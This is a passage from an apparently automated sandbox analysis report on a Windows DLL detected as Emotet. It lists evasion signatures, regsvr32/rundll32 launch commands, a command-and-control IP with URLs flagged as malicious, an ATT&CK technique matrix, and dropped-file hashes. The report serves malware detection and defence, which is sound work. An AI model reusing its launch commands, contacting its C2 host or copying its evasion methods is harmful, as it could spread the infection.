                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001BA32 push ebp; retf
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_0000000180004E83 push es; ret
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001B694 push es; ret
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001BADD push ebp; iretd
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001B717 push ebp; iretd
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001AF4E push ebp; retf
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800253BC pushfd ; retn 0057h
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001AFFD push ebp; retf
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800051D1 push ebp; iretd
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001BA32 push ebp; retf
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180004E83 push es; ret
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001B694 push es; ret
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001BADD push ebp; iretd
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001B717 push ebp; iretd
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180007B3F push esp; retf
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001AF4E push ebp; retf
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001AFFD push ebp; retf
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800051D1 push ebp; iretd
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001BA32 push ebp; retf
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180004E83 push es; ret
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001B694 push es; ret
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001BADD push ebp; iretd
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001B717 push ebp; iretd
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180007B3F push esp; retf
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001AF4E push ebp; retf
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800051D1 push ebp; iretd
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180004E83 push es; ret
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180007B3F push esp; retf
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532A7BE8 DecodePointer,_errno,LoadLibraryA,GetProcAddress,_errno,GetLastError,GetLastError,EncodePointer,FreeLibrary,_errno,_errno,
                      Source: Ru97gvh8ir.dllStatic PE information: real checksum: 0x85ab6 should be: 0x8f499
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\Ru97gvh8ir.dll
                      Source: C:\Windows\System32\regsvr32.exePE file moved: C:\Windows\System32\CYwMLUBpfJVi\miBCQZcqs.dllJump to behavior

                      Hooking and other Techniques for Hiding and Protection

                      barindex
                      Source: C:\Windows\System32\regsvr32.exeFile opened: C:\Windows\system32\CYwMLUBpfJVi\miBCQZcqs.dll:Zone.Identifier read attributes | delete
                      Source: C:\Windows\System32\rundll32.exeFile opened: C:\Windows\system32\KpjrP\nAWQrTV.dll:Zone.Identifier read attributes | delete
                      Source: C:\Windows\System32\rundll32.exeFile opened: C:\Windows\system32\XuLFRAisnfe\ZMhrtlFehSPgbV.dll:Zone.Identifier read attributes | delete
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
                      Source: C:\Windows\System32\svchost.exe TID: 2252Thread sleep time: -30000s >= -30000s
                      Source: C:\Windows\System32\svchost.exe TID: 4140Thread sleep time: -30000s >= -30000s
                      Source: C:\Windows\System32\svchost.exe TID: 3248Thread sleep time: -60000s >= -30000s
                      Source: C:\Windows\System32\regsvr32.exeEvasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
                      Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
                      Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
                      Source: C:\Windows\System32\regsvr32.exeProcess information queried: ProcessInformation
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000D26C FindFirstFileW,FindNextFileW,FindClose,
                      Source: C:\Windows\System32\regsvr32.exeAPI call chain: ExitProcess graph end node
                      Source: C:\Windows\System32\regsvr32.exeFile Volume queried: C:\ FullSizeInformation
                      Source: C:\Windows\System32\rundll32.exeFile Volume queried: C:\ FullSizeInformation
                      Source: svchost.exe, 0000000A.00000002.838103253.000002A5FEA5F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "@Hyper-V RAW
                      Source: svchost.exe, 0000000A.00000002.837637234.000002A5FD229000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWM
                      Source: rundll32.exe, 00000004.00000002.446660614.0000017905E98000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\b8b}\#
                      Source: regsvr32.exe, 00000006.00000002.955391382.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.506585112.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.955424130.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.506428825.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.506547517.0000000000EEF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.838085548.000002A5FEA52000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.699192951.00000240EE2EE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                      Source: svchost.exe, 0000000B.00000002.955360337.0000021F9D602000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
                      Source: svchost.exe, 00000013.00000002.698973556.00000240EE293000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW`
                      Source: svchost.exe, 0000000B.00000002.955400814.0000021F9D628000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                      Source: svchost.exe, 00000013.00000002.699199951.00000240EE2F5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "@Hyper-V RAW
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532A20E0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532A7BE8 DecodePointer,_errno,LoadLibraryA,GetProcAddress,_errno,GetLastError,GetLastError,EncodePointer,FreeLibrary,_errno,_errno,
                      Source: all processesThread injection, dropped files, key value created, disk infection and DNS query: no activity detected
                      Source: C:\Windows\System32\loaddll64.exeProcess queried: DebugPort
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532AD318 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532A20E0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532A6550 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

                      HIPS / PFW / Operating System Protection Evasion

                      barindex
                      Source: C:\Windows\System32\regsvr32.exeNetwork Connect: 23.239.0.12 443
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll",#1
                      Source: C:\Windows\System32\regsvr32.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\regsvr32.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                      Source: C:\Windows\System32\regsvr32.exeCode function: EnumSystemLocalesA,
                      Source: C:\Windows\System32\regsvr32.exeCode function: EnumSystemLocalesA,
                      Source: C:\Windows\System32\regsvr32.exeCode function: _getptd,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,
                      Source: C:\Windows\System32\regsvr32.exeCode function: _getptd,GetLocaleInfoA,
                      Source: C:\Windows\System32\regsvr32.exeCode function: GetLocaleInfoW,
                      Source: C:\Windows\System32\regsvr32.exeCode function: GetLocaleInfoW,
                      Source: C:\Windows\System32\regsvr32.exeCode function: GetLocaleInfoA,
                      Source: C:\Windows\System32\regsvr32.exeCode function: GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,free,GetLocaleInfoA,
                      Source: C:\Windows\System32\regsvr32.exeCode function: GetLocaleInfoA,
                      Source: C:\Windows\System32\regsvr32.exeCode function: _getptd,GetLocaleInfoA,
                      Source: C:\Windows\System32\regsvr32.exeCode function: EnumSystemLocalesA,
                      Source: C:\Windows\System32\regsvr32.exeCode function: _getptd,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,_itow_s,
                      Source: C:\Windows\System32\regsvr32.exeCode function: GetLocaleInfoA,GetLocaleInfoA,GetACP,
                      Source: C:\Windows\System32\regsvr32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532A4558 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00007FFA532AE6C0 _lock,___lc_codepage_func,free,free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

                      Stealing of Sensitive Information

                      barindex
                      Source: Yara matchFile source: 3.2.rundll32.exe.18a6b430000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 2.2.regsvr32.exe.4c0000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 6.2.regsvr32.exe.2890000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.17907800000.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 3.2.rundll32.exe.18a6b430000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 2.2.regsvr32.exe.4c0000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.rundll32.exe.17907800000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 6.2.regsvr32.exe.2890000.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000006.00000002.955605693.0000000002890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.446825482.0000017907800000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.446116600.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000002.00000002.448458717.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.446013508.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000006.00000002.955744270.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000003.00000002.446376740.0000018A6B430000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000002.00000002.448904560.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
                      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
                      Valid Accounts2
                      Native API
                      1
                      DLL Side-Loading
                      111
                      Process Injection
                      2
                      Masquerading
                      OS Credential Dumping2
                      System Time Discovery
                      Remote Services1
                      Archive Collected Data
                      Exfiltration Over Other Network Medium11
                      Encrypted Channel
                      Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
                      Default AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
                      DLL Side-Loading
                      3
                      Virtualization/Sandbox Evasion
                      LSASS Memory31
                      Security Software Discovery
                      Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth2
                      Ingress Tool Transfer
                      Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
                      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)111
                      Process Injection
                      Security Account Manager3
                      Virtualization/Sandbox Evasion
                      SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration1
                      Non-Application Layer Protocol
                      Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
                      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
                      Hidden Files and Directories
                      NTDS2
                      Process Discovery
                      Distributed Component Object ModelInput CaptureScheduled Transfer2
                      Application Layer Protocol
                      SIM Card SwapCarrier Billing Fraud
                      Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
                      Obfuscated Files or Information
                      LSA Secrets1
                      Remote System Discovery
                      SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
                      Replication Through Removable MediaLaunchdRc.commonRc.common1
                      Regsvr32
                      Cached Domain Credentials2
                      File and Directory Discovery
                      VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
                      External Remote ServicesScheduled TaskStartup ItemsStartup Items1
                      Rundll32
                      DCSync34
                      System Information Discovery
                      Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
                      Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/Job1
                      DLL Side-Loading
                      Proc FilesystemNetwork Service ScanningShared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
                      Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)1
                      File Deletion
                      /etc/passwd and /etc/shadowSystem Network Connections DiscoverySoftware Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet
                      behaviorgraph top1 signatures2 2 Behavior Graph ID: 626506 Sample: Ru97gvh8ir Startdate: 14/05/2022 Architecture: WINDOWS Score: 76 37 Antivirus detection for URL or domain 2->37 39 Multi AV Scanner detection for submitted file 2->39 41 Yara detected Emotet 2->41 7 loaddll64.exe 1 2->7         started        9 svchost.exe 9 1 2->9         started        12 svchost.exe 2->12         started        14 3 other processes 2->14 process3 dnsIp4 16 regsvr32.exe 5 7->16         started        19 cmd.exe 1 7->19         started        21 rundll32.exe 2 7->21         started        23 rundll32.exe 7->23         started        31 127.0.0.1 unknown unknown 9->31 process5 signatures6 35 Hides that the sample has been downloaded from the Internet (zone.identifier) 16->35 25 regsvr32.exe 16->25         started        29 rundll32.exe 2 19->29         started        process7 dnsIp8 33 23.239.0.12, 443, 49779 LINODE-APLinodeLLCUS United States 25->33 43 System process connects to network (likely due to code injection or exploit) 25->43 45 Hides that the sample has been downloaded from the Internet (zone.identifier) 29->45 signatures9

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand
                      SourceDetectionScannerLabelLink
                      Ru97gvh8ir.dll30%VirustotalBrowse
                      No Antivirus matches
                      SourceDetectionScannerLabelLinkDownload
                      4.2.rundll32.exe.17907800000.1.unpack100%AviraHEUR/AGEN.1215493Download File
                      2.2.regsvr32.exe.4c0000.0.unpack100%AviraHEUR/AGEN.1215493Download File
                      6.2.regsvr32.exe.2890000.1.unpack100%AviraHEUR/AGEN.1215493Download File
                      3.2.rundll32.exe.18a6b430000.0.unpack100%AviraHEUR/AGEN.1215493Download File
                      No Antivirus matches
                      SourceDetectionScannerLabelLink
                      https://23.239.0.12/efaultL100%Avira URL Cloudmalware
                      https://www.disneyplus.com/legal/your-california-privacy-rights0%URL Reputationsafe
                      https://www.disneyplus.com/legal/privacy-policy0%URL Reputationsafe
                      https://www.tiktok.0%Avira URL Cloudsafe
                      https://23.239.0.12/m9100%Avira URL Cloudmalware
                      https://23.239.0.12/i9100%Avira URL Cloudmalware
                      https://www.pango.co/privacy0%URL Reputationsafe
                      https://disneyplus.com/legal.0%URL Reputationsafe
                      http://crl.ver)0%Avira URL Cloudsafe
                      https://www.tiktok.com/legal/report/feedback0%URL Reputationsafe
                      https://23.239.0.12/0%URL Reputationsafe
                      http://help.disneyplus.com.0%URL Reputationsafe
                      No contacted domains info
                      NameMaliciousAntivirus DetectionReputation
                      https://23.239.0.12/true
                      • URL Reputation: safe
                      unknown
                      NameSourceMaliciousAntivirus DetectionReputation
                      https://23.239.0.12/efaultLregsvr32.exe, 00000006.00000002.955391382.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.506428825.0000000000EC2000.00000004.00000020.00020000.00000000.sdmptrue
                      • Avira URL Cloud: malware
                      unknown
                      https://www.disneyplus.com/legal/your-california-privacy-rightssvchost.exe, 00000013.00000003.669217569.00000240EED68000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      unknown
                      https://www.disneyplus.com/legal/privacy-policysvchost.exe, 00000013.00000003.669217569.00000240EED68000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      unknown
                      https://www.tiktok.svchost.exe, 00000013.00000003.674175320.00000240EED68000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      unknown
                      https://23.239.0.12/m9regsvr32.exe, 00000006.00000002.955391382.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.506428825.0000000000EC2000.00000004.00000020.00020000.00000000.sdmptrue
                      • Avira URL Cloud: malware
                      unknown
                      https://www.hotspotshield.com/terms/svchost.exe, 00000013.00000003.663631076.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663730353.00000240EEDB4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663747303.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663718869.00000240EEDA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.665129896.00000240EED6B000.00000004.00000020.00020000.00000000.sdmpfalse
                        high
                        https://23.239.0.12/i9regsvr32.exe, 00000006.00000002.955391382.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000003.506428825.0000000000EC2000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: malware
                        unknown
                        https://www.pango.co/privacysvchost.exe, 00000013.00000003.663631076.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663730353.00000240EEDB4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663747303.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663718869.00000240EEDA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.665129896.00000240EED6B000.00000004.00000020.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        unknown
                        https://disneyplus.com/legal.svchost.exe, 00000013.00000003.669217569.00000240EED68000.00000004.00000020.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        unknown
                        http://crl.ver)svchost.exe, 00000013.00000002.699329805.00000240EED00000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        low
                        https://www.tiktok.com/legal/report/feedbacksvchost.exe, 00000013.00000003.674175320.00000240EED68000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.672787613.00000240EEDA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.672889806.00000240EF202000.00000004.00000020.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        unknown
                        http://help.disneyplus.com.svchost.exe, 00000013.00000003.669217569.00000240EED68000.00000004.00000020.00020000.00000000.sdmpfalse
                        • URL Reputation: safe
                        unknown
                        https://support.hotspotshield.com/svchost.exe, 00000013.00000003.663631076.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663730353.00000240EEDB4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663747303.00000240EF202000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.663718869.00000240EEDA3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000003.665129896.00000240EED6B000.00000004.00000020.00020000.00000000.sdmpfalse
                          high
                          • No. of IPs < 25%
                          • 25% < No. of IPs < 50%
                          • 50% < No. of IPs < 75%
                          • 75% < No. of IPs
                          IPDomainCountryFlagASNASN NameMalicious
                          23.239.0.12
                          unknownUnited States
                          63949LINODE-APLinodeLLCUStrue
                          IP
                          127.0.0.1
                          Joe Sandbox Version:34.0.0 Boulder Opal
                          Analysis ID:626506
                          Start date and time: 14/05/202205:13:142022-05-14 05:13:14 +02:00
                          Joe Sandbox Product:CloudBasic
                          Overall analysis duration:0h 9m 50s
                          Hypervisor based Inspection enabled:false
                          Report type:light
                          Sample file name:Ru97gvh8ir (renamed file extension from none to dll)
                          Cookbook file name:default.jbs
                          Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                          Number of analysed new started processes analysed:21
                          Number of new started drivers analysed:0
                          Number of existing processes analysed:0
                          Number of existing drivers analysed:0
                          Number of injected processes analysed:0
                          Technologies:
                          • HCA enabled
                          • EGA enabled
                          • HDC enabled
                          • AMSI enabled
                          Analysis Mode:default
                          Analysis stop reason:Timeout
                          Detection:MAL
                          Classification:mal76.troj.evad.winDLL@18/5@0/2
                          EGA Information:
                          • Successful, ratio: 100%
                          HDC Information:Failed
                          HCA Information:
                          • Successful, ratio: 99%
                          • Number of executed functions: 0
                          • Number of non-executed functions: 0
                          Cookbook Comments:
                          • Adjust boot time
                          • Enable AMSI
                          • Override analysis time to 240s for rundll32
                          • Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, wuapihost.exe
                          • Excluded IPs from analysis (whitelisted): 23.211.4.86, 20.223.24.244
                          • Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
                          • Not all processes where analyzed, report is missing behavior information
                          • Report size exceeded maximum capacity and may have missing behavior information.
                          • Report size getting too big, too many NtOpenKeyEx calls found.
                          • Report size getting too big, too many NtProtectVirtualMemory calls found.
                          • Report size getting too big, too many NtQueryValueKey calls found.
                          TimeTypeDescription
                          05:14:56API Interceptor11x Sleep call for process: svchost.exe modified
                          No context
                          No context
                          No context
                          No context
                          No context
                          Process:C:\Windows\System32\svchost.exe
                          File Type:data
                          Category:dropped
                          Size (bytes):8192
                          Entropy (8bit):0.3593198815979092
                          Encrypted:false
                          SSDEEP:12:SnaaD0JcaaD0JwQQU2naaD0JcaaD0JwQQU:4tgJctgJw/tgJctgJw
                          MD5:BF1DC7D5D8DAD7478F426DF8B3F8BAA6
                          SHA1:C6B0BDE788F553F865D65F773D8F6A3546887E42
                          SHA-256:BE47C764C38CA7A90A345BE183F5261E89B98743B5E35989E9A8BE0DA498C0F2
                          SHA-512:00F2412AA04E09EA19A8315D80BE66D2727C713FC0F5AE6A9334BABA539817F568A98CA3A45B2673282BDD325B8B0E2840A393A4DCFADCB16473F5EAF2AF3180
                          Malicious:false
                          Preview:.............*..........3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................*.............................................................................................................................................................................................................................................................................................................................................................
                          Process:C:\Windows\System32\svchost.exe
                          File Type:MPEG-4 LOAS
                          Category:dropped
                          Size (bytes):1310720
                          Entropy (8bit):0.24943983131153077
                          Encrypted:false
                          SSDEEP:1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4Y:BJiRdwfu2SRU4Y
                          MD5:E8C465549C9DAA42D204E796DCC9C0B8
                          SHA1:762E7CC9AFAC9E8C6017B044AB33980E11E9F675
                          SHA-256:EBD58BFFCCC5BE6181AEEC6E58E560008A25389F879C193FB6411A32312E0B39
                          SHA-512:0A8805A041761432F414531E131AC03008A2C89B18E842C17A0E62D6A7D103493A91E0FE80D18EC6AAAC1354BCB7C98D3C7DE6453046990C83D9B27156731777
                          Malicious:false
                          Preview:V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................
                          Process:C:\Windows\System32\svchost.exe
                          File Type:Extensible storage engine DataBase, version 0x620, checksum 0xac4fb833, page size 16384, Windows version 10.0
                          Category:dropped
                          Size (bytes):786432
                          Entropy (8bit):0.250648591921498
                          Encrypted:false
